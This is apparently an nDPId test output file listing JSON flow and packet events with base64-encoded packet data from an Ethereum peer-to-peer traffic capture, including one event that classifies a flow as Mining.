+00472{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657663,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUtVJAACcGoYEi\/xdxwKgBuHZf3TMrXByZHvlGKYAYAOtT8AAAAQEICqcQh3wi2JSVmzR\/Z2r4JlLZOXsyzI3ghD22rwaNEB4McRzPEE97aVw="} +00431{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657665,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1tVNAACcGoZ8i\/xdxwKgBuHZf3TMrXBy5HvlGKYAYAOtQMwAAAQEICqcQh3wi2JSVQg=="} +00431{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657697,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2tVRAACcGoZ0i\/xdxwKgBuHZf3TMrXBy6HvlGKYAYAOsvCgAAAQEICqcQh3wi2JSVYyc="} +00448{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657720,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBtVVAACcGoZEi\/xdxwKgBuHZf3TMrXBy8HvlGKYAYAOtx2QAAAQEICqcQh3wi2JSVGyW4bay1k8waLKwJRg=="} +00454{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657742,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEtVZAACcGoY0i\/xdxwKgBuHZf3TMrXBzJHvlGKYAYAOvplgAAAQEICqcQh3wi2JSV94dKeTKGT9J\/lM3\/mcX8yQ=="} +00427{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657772,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPfTAqAG4Iv8Xcd0zdl8e+UYpK1wcmYAQEB+C7QAAAQEICiLYlNCnEId8"} +00427{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPfTAqAG4Iv8Xcd0zdl8e+UYpK1wcuYAQEB6CzgAAAQEICiLYlNCnEId8"} +00427{"flow_id":23,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657790,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPfTAqAG4Iv8Xcd0zdl8e+UYpK1wcuoAQEB6CzQAAAQEICiLYlNCnEId8"} +00427{"flow_id":23,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657801,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGPfTAqAG4Iv8Xcd0zdl8e+UYpK1wcvIAQEB6CywAAAQEICiLYlNCnEId8"} +00438{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657828,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAAC8GWDwD0S1PwKgBuHZf3TTdrvLSmxdVZqAScSC43wAAAgQFrAQCCApOlRAnItiUTwEDAwc="} +00426{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":657930,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR0TAqAG4A9EtT900dl+bF1Vm3a7y04AQECxIFwAAAQEICiLYlNBOlRAn"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":140,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1578508364659,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"40.67.144.128","src_port":56630,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":659294,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGv5TAqAG4KEOQgN02dl98bCWSAAAAALAC\/\/8OmwAAAgQFtAEDAwUBAQgKItiU0QAAAAAEAgAA"} +00964{"flow_id":24,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":659971,"pkt_caplen":461,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":461,"pkt_l4_len":427,"pkt":"EBMx8Tl2KDc3AG3ICABFAAG\/AABAAEAGRbnAqAG4A9EtT900dl+bF1Vm3a7y04AYECwE6gAAAQEICiLYlNJOlRAnAYkEYzsbi3U1VbPxeO8JeZGy8BDKLHIeRSKQp4\/evVyQovWvCuUArTsYbNFNxbOpHxgiMLlX0ZOeEmBKpT+zxdZ5teBbqVi3L+mm7Ze75jkvKWog+sVO61B5+CMn3LI3RoqoEIs7LzSm4dXhRB4iMDjlKoJ5ZcHwLwlkh8E9Vpo3djq3bdx6lp\/EdVYh6tyjrDNl\/j+nQfIHSl0cMW+mhrtlfSdcGh0syw23uJtUSkclaVzh1wHeEc\/bQntltm8xovFOwV9SJyedZop+oHv1QYNt8oHL9v3ZZw5lkXyC9v2DYGLqmi1M7RPz8jlmDJa9m+OtKYcpqVh3LJYWvbiP5AVvl68VRguEFNQTEiaz8u+Ok4fajiRFN+EVltIdouSx7saQkYFk1SJM9L4aBUOJFvL6FFh3igjYUWKgCjdf2qOqAGWN2QeLZkNKg69L2LgHAubee5cXm\/oVTb4ak7cxt1raQVyZh0C5KR4jqdxt3Bdo\/8IlgvyUrAcIb4sc4COpXETFl0cDGUpkbOA="} +00438{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":667606,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADEG8jtCKlL2wKgBuHZf3SQj+YV4f2iiaKAScSArVwAAAgQFrAQCCAodkmB\/ItiUTwEDAwc="} +00428{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":667656,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG40PAqAG4QipS9t0kdl9\/aKJoI\/mFeYAQECy6hgAAAQEICiLYlNgdkmB\/"} +00438{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":668680,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADEGF+czJjxPwKgBuHZf3TW8w0qY6ojTGKAScSDV+QAAAgQFrAQCCAphOp2qItiUuAEDAwc="} +00428{"flow_id":25,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":668739,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGCO\/AqAG4MyY8T901dl\/qiNMYvMNKmYAQECxlkQAAAQEICiLYlNlhOp2q"} +01006{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":669552,"pkt_caplen":495,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":495,"pkt_l4_len":461,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHhAABAAEAG4ZbAqAG4QipS9t0kdl9\/aKJoI\/mFeYAYECzM0QAAAQEICiLYlNkdkmB\/AasE+v2aCVNnM9qWpvTSHLoErqBLg3QSZ\/tMLN0zJwbq9Mu7q3VJWJNHr1heAKUFIH6bvGaLiNrFnIPCKtgOScwiTFw54GiWDntwJGw8S+My1sqbWwD5rVIxP74gpnGytj6O4F8rmrsyuiCsm77q8dfz211MKn3j7YhZmMWRYURZRdJFY51v9X7khyKovEo46VYW2jGC6GVtWcTrDZDFJYn1e7LsFlaqQaxOYfrD2tz9VK5oXG6zm+eA7MB4mCMofI9yaMLuWFfMklNuksZWQffmLOkkjvu+JeHXPBtaXcMyG6VQPZJt5vhTrK\/7tBIlYl8s5ITS6No1RpH0BgIPXt+46ugXdA5HzKZGb0lj1Jqo7E5sc7dPngrn9FSmEo456JbHmmJNKy0g4v\/k7zERy0mVrS+SUdpPvt6FhVgG960MG14DOtzVo3TIF3qyoLS+K3GzC41yovcXuYwGLCbuyXph1W5BQKu1Xl8AY3quLjxp+IoaGsJALixRryGkpmUSIIsbwWErVFKVYiLqsRpD+6+H6II578lFsF0CkB8cpISbWAjzV02hsEOVgzK4"} +00999{"flow_id":25,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":670234,"pkt_caplen":487,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":487,"pkt_l4_len":453,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHZAABAAEAGB0rAqAG4MyY8T901dl\/qiNMYvMNKmYAYECzM5gAAAQEICiLYlNphOp2qAaME5oGp5GvmHIWgGGU93Sb4NHYjusUApM6sRP5i8qY+HzhQdCIFLnndrt7Lyb35ijFh\/RKRZMveJjaTrvg07LR7B4kXgNNmDCnZ2mleUCoqai5pRFszdTaWzaDsM4Q3Wpw7y0J8UpUFV6JX3TRY81kn1wATSI1nzIaZiu8M7z9ugzT1Bhp5p5TFxbdeYQO6JrfMV4SRpyBXU0Rr7lBPIIFGiWnTkFtnxAhgodqQRFvRwZqLnZCsgQbUsh0fSXnkXvrGai3JM75BbyPWqwTWuWiqsasopvi+xYlm0p3aCAgHFYfwBoK2+KEvTZF1a6IBLF7ajmDeyzfdyjRL\/4Fdv1tddrUHTtxiT94TQMGrf7w+6PD94c1BvIA\/tb\/lxk1wzuF9hyaRwsvRsoh5iUSYTluqLNaUZEyWxIttTdFdUw+4KtjnqIaaVDrFEF2xOF4vZXkHdM6Nz+NtV7XrL5ILFjgViwhX3DPu4RTPwZeAt0lPJnUpfywRheWctZ\/iNqYU3QdkPrFOAx1inq1ZAUdz9ftjWvMI+49unsEi+QuvIeQbOJO4fA=="} +00757{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":681522,"pkt_caplen":306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":306,"pkt_l4_len":272,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEksAhAADQGFyNZJmMiwKgBuHZf3TAEAfWFmn8I6YAYAOsQnAAAAQEICl+aRF4i2JS8xcqDUka6Nv2S2Ufz6z\/Pc4tUOEiP2qX35MgcMm\/FRcBI1j4Q8LC7QUcc9JL\/Yw3KyGBqgE03yu+YnYklie4xu7Al3VM2TQGz54\/LgRl0\/Ie5C27Q8ysWIDe7ZEW+uiq4a95fxvQnunVacIlTA0Gpw4J+oGybZovq+Rk5DJxjUmwrb8Uy6Vt0\/oPrb6yV5\/MR+SZ8DsrePdRSAl65pGEVkjyYpKbSgRz1ChT52ZoUU2vYtyjxLRwORKHS28j300fvx67g0QIGEmJy4CquA1lMx31OufL1tZusRvGCS1tl8+mE6ykfwjozXV8dBrI12PHz"} +00427{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":681555,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0sAlAADQGGBJZJmMiwKgBuHZf3TAEAfZ1mn8JmYAQAOupewAAAQEICl+aRF8i2JS8"} +00427{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":681623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGvBvAqAG4WSZjIt0wdl+afwmZBAH2dYAQEBmaJQAAAQEICiLYlOVfmkRe"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":198,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1578508364682,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"51.38.81.180","src_port":56632,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":682687,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG833AqAG4MyZRtN04dl9aLQCVAAAAALAC\/\/+JqQAAAgQFtAEDAwUBAQgKItiU5gAAAAAEAgAA"} +01939{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":694292,"pkt_caplen":1178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1178,"pkt_l4_len":1144,"pkt":"KDc3AG3IEBMx8Tl2CABFAASM2BBAADcR1ngiYawWwKgBuHZfdl8EeMBgH0wTNhnEtwanpj7oWlZ\/Hp0Gak0vyLNY48lrCKzEN97iWOlAwiKU8J2As0GDwpvqMobAk\/doYUwERgBj\/dX1qwI+w93bqV+opA8zeXK5DOY5QqaAWe1EmRlafyw14V0SAAT5BAv5BAP4TYRPFs69gun3gun3uECCARRJlalZmbRgrccKpmIFHuwcnfCnxRI\/PJfvccahZWq2zhSNF3xN8PFm4Ig97uMj8JcxYkHuXulMILJ8m+Dx+E2ENiSg04J2X4J2X7hAPRqHFTz0e8oEsmOadgUbUG0\/Gq1XFXFWshB59yMDlMnzDbSaQte3vRlNp0x8bXK\/C0IExkQW+7e6O42uaIsSOfhNhG\/lALSCTtaCTta4QNKaGvf27ePtI09PYWMWWoqsTgBFWVV\/OStWx2mo9mqS58z7TiK83yibq71BZSi0CSsekwb4Zyr8nj5zQd0mqCb4TYSkhGWfgnZfgnZfuEBoaZQlH\/tAMTmENPyYivdiK6qXFlTxe+\/p6cPLqiael7D6BFBiRXZHacw3oUOaGk4+u32W1NMUjoJXk06B2mEI+E2ELzgXtoJ2X4J2X7hAZ5DyvV4L2UjTbfMTNRlwVlkkGIIkt\/VYvYJ76IXUVE6r5fvcx+2tWoDAFaFaLZO1vJw5B3fbXfeObFaJ1qahJvhNhHLbOhmCTtaCTta4QOsAfRHCWayd+ePpaQzEOGf3dXjZZgxjuurzp9q\/DaDAlIrlX0hFIpZGowqYAlmPGRQlb2Zp7G196tUzRB5lA1D4TYRQniRSgnZfgnZfuEDy+3Y1qZpk8\/KZSHkhI\/dUtq2PmnojEAJ+pvc2bi3A23IJ6RM8OAW49hm6EgP+nw9QrdJ1FOvq3+1MzaqVwKmC+E2EI9yzYIJ2YIJ2YLhAOJyQU2JE6mr+PrqS1VpbvrNoILvKRQR+abFnLs+XgISTnL1u7Up3BqfrKb9hyDFv4+EivNbWhPn9c0jykBsfLvhNhC9ngvuCdmKCdmK4QMQewuj5qn6FtR+caLmA7fiCCCWlXl5n4eHsa\/hStv5IXJfR3qW2xYlmjRashSfhzXIk\/cArlEuFCVyLKkliTzj4TYR68x8XgglNgk7WuEDyUr+wEhCRTzC+abav+Qq8gCoJQuHHGbcH\/DZQmfl9EGgUirj+pxEJRc8L7rXREu747IWcesHQp9HRE6vORWkC+E2E1W2gk4Kvx4Kvx7hAdMXaCMYMMwBE0nd2ZguY7X9OffS41d7S\/Y+mPW\/bN2r4s5PDjCrWaOVF\/TvDBjFcUWsPiqOXMHIqsOoggNo9SvhNhE4vwp6Cdl+Cdl+4QPkOM4NqDnpAiCaFdcv7mpRSPLANloklV4wbFH\/35BGlAWuLnC96pYG30ySaUekbUEoxDdJFuDpuhxs7uesYXD\/4TYSOLK6TgnZhgnZhuEDoktJdZWuqibhkACX5AYXpi\/92jauNHaPZe57KQENT7f3lptm8vn\/KsHCyQGycNosbcDhgVNlPlUl4B5KRi2QIhF4WIGA="} +00865{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":694327,"pkt_caplen":386,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":386,"pkt_l4_len":352,"pkt":"KDc3AG3IEBMx8Tl2CABFAAF02BFAADcR2Y8iYawWwKgBuHZfdl8BYBsKk2vVIKFBe5srt6TuKGLoSQyIYHTHTIh8E6CjfYCc9i8bqGNRb1RdySNn+Iv9WrBeYgM40YLK2f29HLFDjWvrLH5PzXOrZjlyFrfNSw\/LgHRZLq7JZkTKJJivek9A0KFTAQT49Pjt+E2EWSTXC4J2YYJ2YbhAKsm6hrEBgceppDA8y6y8ToI4LATCvXtK2lH6G5Ea4z\/xJThSCDAuG5MSvtPStPEkcnXcb7SOx0jpL4DMcyqusPhNhJ+KPreCdl+Cdl+4QFFks1Hi1w5Dzl6eTycY4XMH5jgPi\/IsM\/Xh\/aiCTq6KUBnNNvsH2QEEcq8Eurha1gzN35pyz9iUxxW+rcV0tUj4TYTPtOCBgg09gg09uEBD39Z7PE\/miF\/gBzQtLgOKuJmlQiP1\/EPNHjqCw\/jys2eg7dySq1uz5KP5CQPL3LPisAyyzl2cNiKWtBUo4PgQhF4WIGA="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1578508364697,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"54.36.160.211","src_port":30303,"dst_port":30303,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":697110,"pkt_caplen":213,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":213,"pkt_l4_len":179,"pkt":"EBMx8Tl2KDc3AG3ICABFAADHkfoAAEARTtTAqAG4NiSg03Zfdl8As+iZ15lp9gBLtC6IaCW33is1Th50j8UHjOmT4mAffcZn+yYEl4jGBnLnkKaeXePCjndUh79\/WTQA2R4kNex3KmtFmldicE1yJNj24ZecPC4hxpTcI9qIeMXPlU0BU5Rec0LcAQP4R7hAggEUSZWpWZm0YK3HCqZiBR7sHJ3wp8USPzyX73HGoWVqts4UjRd8TfDxZuCIPe7jI\/CXMWJB7l7pTCCyfJvg8YReFiBg"} +00550{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":214,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1578508364697,"flow_last_seen":0,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":179,"flow_max_l4_data_len":179,"flow_avg_l4_data_len":179,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"54.36.160.211","src_port":30303,"dst_port":30303,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00426{"flow_id":25,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":712647,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0yT1AADEGTrEzJjxPwKgBuHZf3TW8w0qZ6ojUvYAQAOtzCwAAAQEICmE6ncsi2JTa"} +00894{"flow_id":25,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713144,"pkt_caplen":406,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":406,"pkt_l4_len":372,"pkt":"KDc3AG3IEBMx8Tl2CABFAAGIyT5AADEGTVwzJjxPwKgBuHZf3TW8w0qZ6ojUvYAYAOtDVgAAAQEICmE6ncwi2JTaAVIE8c7Hq5ONAC4\/R2UmKB+pU3BBRCUeN9Cf5BBGHA+DoxS5SlI8U1u9j1H\/Y6CPLI4CRb+QFrsBclsPm\/KPU8JGQ1PynzKCnLAbak\/y2NGwmkePHs5rBh3R\/svTp7gcODQvsx1GMGLb8NwXSqyq2TMPyRpALl4do7TzwQpS6\/oaQzuDJL7vKkXZCUpMHN9DzjKKtai0sGnk+UkdFANSwlkBNNqC+BT2y6l6Shhfb9N\/55qoJNa194yfobhSGIAfxWSiPLsr5nymVKt2pEr1UBCKdPVL1MuYJnHXYMe8bOk1sJheVDBy9HmLvMGdALare0q2EpYk6wQ2UQmQfCfytF+5t3VD6nmV9Sw\/ZolMbiG7RNZPrX9QpLN0iruDeaUP1mdoXnny5MTe+Ri3+7MMAPL9D0gEgvEZ83RmXs+HaypXwnsJDNkI6JVcRk5X\/ta4EMMxjg=="} +00471{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713190,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUyT9AADEGTo8zJjxPwKgBuHZf3TW8w0vt6ojUvYAYAOuWGwAAAQEICmE6ncwi2JTaDKbYTK0e7YzAyq8CJTCkEPjRnlZmQ1Ln\/nt1w+7tb0U="} +00430{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713253,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1yUBAADEGTq0zJjxPwKgBuHZf3TW8w0wN6ojUvYAYAOu5jAAAAQEICmE6ncwi2JTauA=="} +00430{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713266,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2yUFAADEGTqszJjxPwKgBuHZf3TW8w0wO6ojUvYAYAOsm4QAAAQEICmE6ncwi2JTaSqo="} +00468{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":713284,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"KDc3AG3IEBMx8Tl2CABFAABRyUJAADEGTo8zJjxPwKgBuHZf3TW8w0wQ6ojUvYAZAOslLgAAAQEICmE6ncwi2JTaOOrkmVLM229iTDzO2G5orn6EEsKP1\/pdX00ufXc="} 